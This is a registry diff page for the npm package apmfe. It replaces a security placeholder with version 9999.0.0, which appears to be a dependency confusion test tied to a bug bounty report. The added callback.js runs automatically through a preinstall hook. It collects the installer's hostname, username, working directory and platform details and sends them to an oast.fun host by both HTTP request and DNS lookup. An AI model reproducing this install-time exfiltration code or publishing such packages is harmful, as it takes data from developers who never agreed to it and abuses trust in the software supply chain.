apmfe 0.0.1-security → 9999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of apmfe might be problematic. Click here for more details.

package/callback.js ADDED
@@ -0,0 +1,39 @@
1
+ // Dependency confusion PoC - HackerOne report #3606530
2
+ // This script ONLY collects non-sensitive system metadata
3
+ // No files read, no secrets accessed, no persistence
4
+
5
+ const http = require('http');
6
+ const os = require('os');
7
+ const dns = require('dns');
8
+
9
+ const info = {
10
+ pkg: 'apmfe',
11
+ v: '9999.0.0',
12
+ hostname: os.hostname(),
13
+ platform: os.platform(),
14
+ arch: os.arch(),
15
+ user: os.userInfo().username,
16
+ cwd: process.cwd(),
17
+ node: process.version,
18
+ ts: new Date().toISOString()
19
+ };
20
+
21
+ const encoded = encodeURIComponent(JSON.stringify(info));
22
+
23
+ try {
24
+ const req = http.request({
25
+ hostname: 'iophnlwxqpnwnortoboo48xxrn0pgampq.oast.fun',
26
+ port: 80,
27
+ path: '/apmfe?d=' + encoded,
28
+ method: 'GET',
29
+ timeout: 5000
30
+ }, () => {});
31
+ req.on('error', () => {});
32
+ req.end();
33
+ } catch(e) {}
34
+
35
+ try {
36
+ const h = os.hostname().replace(/[^a-zA-Z0-9-]/g, '').slice(0, 30).toLowerCase();
37
+ const u = os.userInfo().username.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 20).toLowerCase();
38
+ dns.lookup(h + '-' + u + '-apmfe.iophnlwxqpnwnortoboo48xxrn0pgampq.oast.fun', () => {});
39
+ } catch(e) {}
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Placeholder - dependency confusion security research
2
+ // HackerOne report #3606530
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "apmfe",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9999.0.0",
4
+ "description": "Security research - dependency confusion test for OKX bug bounty (HackerOne report #3606530). Contact: r76o4 on HackerOne.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node callback.js || true"
8
+ },
9
+ "author": "r76o4 (HackerOne bug bounty researcher)",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=apmfe for more information.